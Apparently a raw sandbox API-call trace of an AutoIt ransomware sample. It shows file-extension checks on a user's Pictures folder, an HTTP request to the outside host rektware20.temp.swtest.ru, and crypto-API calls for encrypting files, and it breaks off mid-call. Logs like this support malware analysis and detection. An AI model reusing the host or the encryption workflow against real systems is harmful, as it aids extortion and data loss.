CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.590] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ttn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XYzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YzFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zFXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FXjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xjvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vq6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nQDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QDiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DiET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ET1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="upLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pLqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LqKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qKAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KAO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AO.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.593] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.593] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.593] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.593] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.593] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.593] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.593] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.593] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.593] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.593] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c) returned 1 [0061.593] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.593] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.593] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.595] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.595] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.595] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.595] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.595] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629440, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629440*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.595] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.596] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.596] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.596] CloseHandle (hObject=0x0) returned 0 [0061.596] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.596] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.596] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.596] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.596] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.596] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.596] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.596] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.597] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.597] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.597] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.597] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.597] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.598] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.598] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.598] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa4d8) returned 1 [0061.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.599] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.599] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.599] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.599] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.599] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.600] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.600] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.600] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.600] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.600] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.600] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.600] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.600] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.600] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.600] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.600] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.600] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.600] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.601] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.601] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, 